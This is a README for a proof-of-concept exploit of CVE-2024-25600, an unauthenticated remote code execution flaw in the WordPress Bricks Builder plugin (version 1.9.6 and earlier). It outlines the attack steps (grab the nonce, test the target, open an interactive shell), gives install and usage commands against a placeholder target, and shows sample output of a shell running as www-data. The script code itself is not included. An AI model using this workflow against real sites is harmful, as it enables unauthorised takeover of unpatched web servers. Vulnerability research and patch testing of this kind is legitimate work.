CVE-2024-25600 — WordPress Bricks Builder RCE (PoC)

Unauthenticated remote code execution vulnerability in WordPress Bricks Builder <= 1.9.6. The template render endpoint accepts PHP code without authentication, allowing arbitrary command execution as the web server user.

How it works

1. Fetches the Bricks nonce from the target's page source (required to interact with the endpoint).
2. Sends a test payload to confirm the target is vulnerable.
3. Opens an interactive shell by injecting commands through the render endpoint.

Requirements

• Python 3
• Install dependencies:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit

Usage

python3 exploit.py -u http://TARGET

Example:

$ python3 exploit.py -u http://10.10.10.10
[*] Fetching nonce from http://10.10.10.10 ...
[*] Checking if the target is vulnerable...
[+] Target is vulnerable!
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)